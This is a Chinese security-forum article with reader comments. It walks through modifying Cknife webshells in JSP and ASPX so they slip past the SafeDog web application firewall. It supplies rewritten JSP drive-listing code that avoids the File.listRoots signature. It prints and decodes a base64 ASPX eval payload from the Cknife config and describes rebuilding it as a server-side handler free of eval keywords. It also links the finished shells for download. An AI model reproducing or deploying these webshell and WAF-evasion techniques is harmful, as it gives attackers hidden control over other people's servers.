免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

0×00 前言

亲爱的Chora小伙伴在上文说过,他是一个有责任心的基佬,要手把手为大家(不)负责任的讲解如何使用Cknife。于是他挥动着小皮鞭,给了身为小弟(弟)的我24小时速成JSP、ASP.NET。在这种极度威逼利诱之下,我不负责任的攒出了绕狗第二式,内容过于冗长,还望请各位看官耐着性子,看一个渣农是如何利用Cknife过安全狗的(没办法,Chora牛总是太快,我秒不了)。

0×01 JSP绕狗代码分析

首先我们需要判断安全狗所拦截的代码是哪一部分。由于本人是Chora牛口中的“二号垃圾”(一号已经另有他人),所以采用了最笨的办法,一个函数一个函数删除来判断安全狗拦截的点在哪里。功夫不负有心人,第一个函数AA就被拦截了(还好不是最后一个,Bless God ~)。。。

当我删除AA以后,神奇的发现免杀了(废话,缺功能好不好!!!)。

显然问题在void AA函数中,那究竟void AA函数里面是什么内容呢?我们接下来继续看。

void
AA(StringBuffer sb) throws Exception {File r[] = File.listRoots();for (int i = 0; i < r.length; i++) {sb.append(r[i].toString().substring(0,2));}}

从代码中我们可以看出AA函数主要使用的listRoots方法(喂~总不可能拦截的for循环吧,混蛋!),查看API(好吧,其实我是查的百度。。。又被雀儿牛羞辱了),listRoots()是用来获取系统的根目录路径。在不同的系统测试结果如下。

Windows系统返回的是A:、C:…,而Linux系统返回的是/。

这里我们顺带稍微提一下cknife的jsp马儿的执行流程。其实我们的马儿是在原有一句话的基础上进行了少量的修改(按照我们的设想规范了一些参数)。这里以cknife.jsp的代码为例,在cknife中,主要有以下几个参数:

1、password  密码,大家都懂

2、action   对应的调用方法,也就是customsize中配置的各项内容,在JSP中为A、B、C等等,当然你也可以修改为其他名称,只要保证config配置文件与服务器端的马儿对应一致就可以了。

3、z1、z2   传递的参数,根据方法的不同可能为文件路径,文件名,数据库名、cmd命令等等。

当cknife调用文件管理模块的时候,其步骤如下。

1、获取当前文件路径,判断系统类型(L249 )。

String s =request.getSession().getServletContext().getRealPath(“/”);

2、获取系统根目录,如过为windows,绘制图像,列出盘符。(L250)

调用void AA

3、获取当前路径的所有文件,列出文件目录;(L255)

调用void BB

4、根据其他具体操作调用具体方法(读文件、读路径、写文件、上传、下载等等)。

其中,在第二步的时候使用到了void AA。完全不懂JSP代码的我只想到了两种思路,大牛们见(贱)笑了:

1、是否有其他相同或是类似功能的函数替代listroots;

2、对原有函数变形。

接下来我们就对上述两种思路进行分析。

0×02 JSP绕过思路一

我恬不知耻的又找到了度娘(又被雀儿牛一顿骂),发现了File.List()方法,该方法罗列当前file对象路径下的所有文件。测试代码如下图所示。

其实我们利用AA函数的目的只是为了获取系统盘符而已,如果我能够确定该盘符下存在文件内容,至少能够确定该盘符确实存在,所以我想到了直接枚举每一个盘符根目录的文件就行了。所以有了以下的渣渣代码。

    String[] disk = { "a", "b","c", "d", "e", "f", "g","h", "i", "j", "k" };StringBuffer sb = new StringBuffer("");for (int m = 0; m < disk.length; m++){try {String[] filelists = new File(disk[m] +":\\").list();//列举盘符if (filelists.length > 0) {sb.append(disk[m] + ":\\\t"); // 如果文件数量>0表示该盘符存在}} catch (Exception e1) { // 如果异常提示该盘符不存在System.out.println("can not visit disk " + disk[m] + ":");}}System.out.println("存在的盘符为:" + sb.toString());

测试效果如下图,正常显示了盘符(不要问我为啥有H盘符,嘿~嘿~嘿~)

然后结合linux系统的特性,完整的代码如下:

String[] disk = { "a", "b","c", "d", "e", "f", "g","h", "i", "j", "k" };
StringBuffer sb = new StringBuffer("");//原代码中已声明实际使用中需要删除该参数
try{String[] filelists = new File("/etc").list();// 是否存在etc目录推断linux系统if(filelists.length > 0) {sb.append("/");// 如果文件数量>0表示该盘符存在}
}catch(Exception e){for (int m = 0; m < disk.length; m++) {try{String[] filelists = new File(disk[m] + ":\\").list();// if(filelists.length > 0) {//判断windows系统sb.append(disk[m] + ":\\\t"); // 如果文件数量>0表示该盘符存在}}catch (Exception e1) { // 如果异常提示该盘符不存在//System.out.println("can not visit disk " + disk[m] + ":");}}
}
//System.out.println("存在的盘符为:" + sb.toString());

将上述代码替换原有的void AA中的内容,再用狗狗查杀一下。

当然这种方法有一定的局限性:

1、对比原有函数,会少了光驱等等无法读取的盘符(虽然并没什么卵用)。

2、如果盘符名称人为更改过或者是用户权限受限制的话,可能无法识别到正确的盘符。

0×03 JSP绕过思路二

作为一个学渣,看到原来的代码中

File r[] = File.listRoots();

第一反应是新建一个File对象,从而替换File.listRoots的关键词。

File  k = new File("");
File  r[] = k.listRoots();

然后Chora牛笑我。。。这XX怎么可能过狗。。。

然而。。事实是真的XX就过狗了(哔了个狗)。。。

执行的结果也是正确显示

使用原有的JSP模式连接也可以正常执行,无需配置自定义模式。

所以,狗狗对jsp的一句话判断可能略显简单了一些,就是File.listRoots();。所以只要发挥你的想象力,能做的事情就很多了。(当然,前提能够在有狗狗的服务器上面写入你的小马马,所以各位大牛见仁见智啦) 。

最后我们简单总结一下,在测试过程中我们发现安全狗只是对Void AA进行了拦截,并没有拦截其他功能,即是说我们仍可以正常使用诸如命令执行、数据库等相关的功能(废话。。。大家都知道本来JSP就过狗!)。

0X04 ASPX绕狗相关

上一文中,有小伙伴提醒补一个asp绕过的修改过程。其实原理都是类似的,我这里以ASPX的为例再介绍一下修改过程。

具体步骤如下:

1、你要会写if语句。如if(action=”Index”)。

2、代码完成。

what?什么鬼!!这就结束了?

是的,就这么简单,让我们慢慢来,这里以customsize自定义模式里的readdict读目录方法为例,首先查看Cknife的config.ini文件关于aspx的相关配置项如下。

Response.Write("->|");var err\:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String("dmFyIEQ9U3lzdGVtLlRleHQuRW5jb2RpbmcuR2V0RW5jb2RpbmcoOTM2KS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKTt2YXIgbT1uZXcgU3lzdGVtLklPLkRpcmVjdG9yeUluZm8oRCk7dmFyIHM9bS5HZXREaXJlY3RvcmllcygpO3ZhciBQOlN0cmluZzt2YXIgaTtmdW5jdGlvbiBUKHA6U3RyaW5nKTpTdHJpbmd7cmV0dXJuIFN5c3RlbS5JTy5GaWxlLkdldExhc3RXcml0ZVRpbWUocCkuVG9TdHJpbmcoInl5eXktTU0tZGQgSEg6bW06c3MiKTt9Zm9yKGkgaW4gcyl7UD1EK3NbaV0uTmFtZTtSZXNwb25zZS5Xcml0ZShzW2ldLk5hbWUrIi9cdCIrVChQKSsiXHQwXHQtXG4iKTt9cz1tLkdldEZpbGVzKCk7Zm9yKGkgaW4gcyl7UD1EK3NbaV0uTmFtZTtSZXNwb25zZS5Xcml0ZShzW2ldLk5hbWUrIlx0IitUKFApKyJcdCIrc1tpXS5MZW5ndGgrIlx0LVxuIik7fQ%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR\://"%2Berr.message);}Response.Write("|<-");Response.End()

简而言之,就是eval执行了一段base64编码的内容,这属于一句话里面最常见的通信形式。我们对base64的代码进行解密,为了阅读方便,调整了格式,内容如下。

var D=System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(Request.Item["z1"]));
var m=new System.IO.DirectoryInfo(D);
var s=m.GetDirectories();
var P:String;
var i;
function T(p:String):String{
return System.IO.File.GetLastWriteTime(p).ToString("yyyy-MM-dd HH:mm:ss");
}for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"/\t"+T(P)+"\t0\t-\n");
}
s=m.GetFiles();
for(i in s){P=D+s[i].Name;Response.Write(s[i].Name+"\t"+T(P)+"\t"+s[i].Length+"\t-\n");
}

该段内容通过z1参数获取到文件路径,使用系统对象中的System.IO.DirectoryInfo()来获得文件路径下的文件信息,然后打印出来。由于一般情况下一句话的参数中经常会带有eval、execute,导致其特征过于明显。所以作为学渣的我想如果将这部分直接放在服务器执行的话,是不是就可以避免传递eval、execute等类似的关键词了呢?因此,我在服务器上的aspx文件中直接写入了上述内容,为了测试方便,我省去了base64编码~(机智又任性!)。

然后,再提一下自定义模式对接cknife的要点有以下:

1、对应密码,总不可能让谁都能使用我的shell吧。

2、对应的action名称,可自己更改。

3、参数z1、z2以及标识数据段的标识符(>|+data+|<)

PS:这里说明一下我的锅~z1、z2参数的名称也是可以更改的,只是我在一些功能的时候写的有问题(其实就是直接写死成z1、z2了),如果使用的时候遇到问题请见谅,这个在后续的版本中会进一步修复和优化。

最后我们参照上述三点整理我们的过狗文件,你是不是发现其实主要都在写if语句判断action内容…

具体的代码内容请见下一小节。

0×05 渣渣的渣渣代码

JSP下载                         密码:f65g                   1.jsp(已更新)

ASPX相关下载               密码:f65g                   cus.aspx

0×06 结语

本文给大家讲解了如何通过最简单的方法,利用现成的一句话加上cknife的自定义参数配置来打造自己的绕狗脚本。大家从我使用的工具和截图可以看出:我真的是一个菜B!

上帝教会了我hello world,我却用他来绕WAF~。

最后谢谢Chora小伙伴和MS509里面其他小伙伴带我搅基,终于从写Hello World进步到会写if语句来绕狗狗了,么么哒!

*本文由melodyzx1撰写并投稿,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

收藏该文

melodyzx11篇文章等级:1

这家伙太懒,还未填写个人描述!

  • 上一篇:台湾大选定向攻击案例研究
  • 下一篇:Nmap备忘单:从探索到漏洞利用 Part1

这些评论亮了

  • 安全狗项目负责人 回复
    感谢您的提交,我们后期会对安全狗产品进行相应的加固
    )7( 亮了
发表评论

已有 17 条评论

  • thor123  (1级)  2016-03-25 回复 1楼

    思路之猥琐

    亮了(5)

  • Chora  (3级)  2016-03-25 回复 2楼

    接楼上,跟人一样。

    亮了(4)

  • Qin翼  (1级)  2016-03-25 回复 3楼

    思路猥琐的跟楼上一样

    亮了(4)

  • shentouceshi  (3级)  2016-03-25 回复 4楼

    今天发在这里,明天就失效了。你发出来狗狗难道不会更新?

    亮了(3)

    • melodyzx1  (1级)  2016-03-25 回复

      @ shentouceshi  包括先前chora牛的文章,我们一共对四种不同的服务器语言提供了绕waf的方法。在之前我也有讲过,cknife想的是作为一个提供自定义配置的平台,打造属于自己的专属绕waf的脚本,在这里我只是抛砖引玉,希望给各位提供新的思路。身为一个菜逼,这是我所能想到的绕狗方法,当然修补起来也会很简单,但是您回头想一想,在促进狗狗进步的同时,我们的测试水平不也在一步步提高么?与其固步自封作茧自缚,倒不如大家齐头并进来的好吧。我相信各位牛肯定有其他的过狗方法,如果只是这么简单的绕狗方法就断了各位的后路的话,我只能借用chora牛文中的最后一句话送您了。。。最后,请相信上帝给你关了一扇门 必然会为你开启一扇窗。

      亮了(5)

  • 科科  2016-03-25 回复 5楼

    正常功能让人家拦截你个逼

    亮了(4)

    • Qin翼  (1级)  2016-03-25 回复

      @ 科科 什么是不正常功能?

      亮了(4)

    • 路人  2016-03-25 回复

      @ 科科 别逗~你觉得管理别人网站算正常功能?

      亮了(3)

    • melodyzx1  (1级)  2016-03-25 回复

      @ 科科 谢谢大大指正。因为你看文章也看得出来我确实是菜逼,如果说的不对的还望大大海涵。在我看来,web渗透里面我们的最终目的是为了获取网站的一定权限,不管是采用哪一种方法。菜刀是其中一种我认为最优的途径,但是不可避免的问题是,普通一句话的特征过于的明显(当然大大们有私藏的过waf一句话),导致被拦截。所以我们想到了最初我们渗透的目的,我们不是为了一句话而采用的一句话,而是为了最为方便的达成获取权限的目的。虽然我们的过狗中采用了你说的“正常功能让人家拦截你个逼”的思路,但是他至少在部分功能上实现了我们的要求撒~,与其费时间改一个过waf的一句话,显然借助正常功能不被拦截又能达到目的,何乐而不为呢,至少不是所有管理员都希望任何人都能够查看、修改服务器文件的吧?狗也好,菜刀也好,在我们看来都是传奇式难以超越的存在,所以我们一直在说cknife只是提供一个平台,并不是说为了取代谁谁谁,而是希望大家能够借助它发现更多的新的方法和思路,显然大家的目标都是一致的,不管用什么方法,只要能绕过waf,显然都是可以利用的方法撒~

      亮了(4)

      • 小伙子不错  2016-03-26 回复

        @ melodyzx1  面对这种没家教的人还能有这谦虚的态度,小伙子不错,希望你能更加笃定、坦然的在这条路上走下去。坚持所想。

        亮了(4)

      • kg chen  2016-03-26 回复

        @ 小伙子不错 S——B如你,傻叉

        亮了(0)

  • 安全狗项目负责人  2016-03-25 回复 6楼

    感谢您的提交,我们后期会对安全狗产品进行相应的加固

    亮了(7)

    • 越狱兔  2016-03-25 回复

      @ 安全狗项目负责人 哈哈哈 狗狗不哭!!站起来撸!

      亮了(4)

  • fuker  2016-03-25 回复 7楼

    上帝教会了我hello world,我却用他来绕WAF

    亮了(2)

  • dayima  2016-03-25 回复 8楼

    闷声发大财 枪打出头鸟

    亮了(2)

  • xxoo  2016-03-26 回复 9楼

    建个abcdefg~z的字母表数组,一个个字符拼凑。稳稳地。

    亮了(2)

  • play  2016-03-27 回复 10楼

    服了,这是哪家的WAF,这也太弱了

打狗棒法之:Cknife(C刀)自定义模式秒过安全狗(二)相关推荐

  1. php百度云5秒盾,cloudflare如何自定义5秒盾页面教程

    cloudflare防御DDOS能力很无敌,不过防御CC就需要开启被攻击模式,而一但开启被攻击模式后5盾页面显示的都是英文,非常影响用户体验. 所以我们要用到自定义5秒盾页面,进入cloudflare ...

  2. OAuth2.0 - 自定义模式授权 - 短信验证码登录

    一.OAuth2.0 - 自定义模式授权 上篇文章我们分析了目前的情况,演示了微服务的大环境下在保证安全的情况下通过SpringGateWay实现统一的鉴权处理,但是前面的演示中,我们都是基于用户名密 ...

  3. Chrome Google绿色便携制作(可更新自定义模式)

    Chrome Google绿色便携制作(可更新http://链接:https://share.weiyun.com/H3yy3iGP 密码:v96iwb自定义模式)

  4. ABAP 代码编辑器-自定义模式-注释模板

    背景 项目上对于程序抬头注释都有一定的规范,一般用于记录程序的开发信息,便于后续的维护工作. 不同人员对于注释的风格也有自己的偏好和风格,可能会使甲方开发很头疼 为了保持项目风格统一(强迫症患者),我 ...

  5. 吃鸡自定义服务器租,吃鸡自定义模式最少多少人可以开始游戏

    最低10个人. 关于房间的信息,因为自定义服务器的多样化,有的时候并不知道你进入的房间是什么样的规则,所以需要关注一下大厅里能看见的房间信息. 1.首先是房间名,有的房间会注明开启什么样的模式,有的房 ...

  6. 自定义服务器主播,绝地求生大逃杀自定义模式怎么创建 自定义服务器教程

    绝地求生是一款目前PC端非常火爆的大逃杀类游戏,这款吃鸡游戏火爆程度现已经蔓延到了世界各地,现在如果你不玩吃鸡游戏,都不好意思说自己玩过游戏.那么在今天这篇文章中,小编就给大家重点讲的是,这款游戏目前 ...

  7. 彩六怎么开自定义房间_彩虹六号围攻如何畅玩自定义模式_彩虹六号围攻自定义模式怎么玩_游戏堡...

    <彩虹六号:围攻(Tom Clancy's Rainbow Six Siege)>如何畅玩自定义模式,<彩虹六号:围攻(Tom Clancy's Rainbow Six Siege) ...

  8. Windows保护模式学习笔记(十二)—— 控制寄存器

    Windows保护模式学习笔记(十二)-- 控制寄存器 控制寄存器 Cr0寄存器 Cr2寄存器 Cr4寄存器 控制寄存器 描述: 控制寄存器有五个,分别是:Cr0 Cr1 Cr2 Cr3 Cr4 Cr ...

  9. Excel阅读模式/聚光灯开发技术之二 超级逐步录入提示功能开发原理简述—— 隐鹤 / HelloWorld...

    Excel阅读模式/聚光灯开发技术之二 超级逐步录入提示功能开发原理简述---- 隐鹤  /  HelloWorld 1. 引言 自本人第一篇博文"Excel阅读模式/单元格行列指示/聚光灯 ...

  10. 帝国CMS调用自定义列表名称的方法(简单二次开发实现)

    帝国CMS调用自定义列表名称的方法(简单二次开发实现) 本文讲述了帝国CMS调用自定义列表名称的方法,脚本之家在这里提供了2种实现方法,涉及针对帝国CMS底层代码的修改.具体如下: 一.问题描述: 需 ...

最新文章

  1. 微博基于Flink的机器学习实践
  2. java File 的相对路径
  3. python3菜鸟教程中文-Python3 日期和时间
  4. UIVIewController自定义切换效果-b
  5. 【Linux运维】Centos7上借助ansible搭建LVS+Keepalived
  6. android 高清壁纸设置慢
  7. MOXy作为您的JAX-RS JSON提供程序–服务器端
  8. 数据库语言 数据查询_使用这种简单的查询语言开始查询数据
  9. Spring Boot中使用Redis数据库
  10. 实例探究Python以并发方式编写高性能端口扫描器的方法
  11. Golang基础知识入门详解
  12. 基于RS485通讯总线的ModbusRtu协议 上位机项目源代码
  13. Java技术体系概述
  14. 记一次JPA项目启动速度优化
  15. Excel学习日记:L4-资料排序
  16. 计算机电子表格的优点,信息技术《电子表格的特点及应用》的说课稿
  17. 前端图片合成技术_Javascript 前端合成图片
  18. BZOJ_4864_[BeiJing 2017 Wc]神秘物质_Splay
  19. 手持gps坐标设置_学术 | 许其凤院士:GPS移动定位与移动网络定位精度的分析
  20. 360更新补丁之后把Outlook弄坏了

热门文章

  1. 数学建模三大模型以及十大算法
  2. 2021数学建模B题 空气质量二次模型
  3. 网络上复制网页文字的方法
  4. 手机版q群管机器人_手机QQ机器人怎么用,QQ机器人手机版怎么设置
  5. 机械相关专业词汇集锦
  6. gitHub客户端的安装与使用总结
  7. Java面试基础篇-Redis缓存
  8. 计算机网卡ip怎么设置,怎样为网卡配置ip地址 电脑给网卡设置IP地址的方法有哪些...
  9. Allegro走等长线设置
  10. Java面试笔试题大全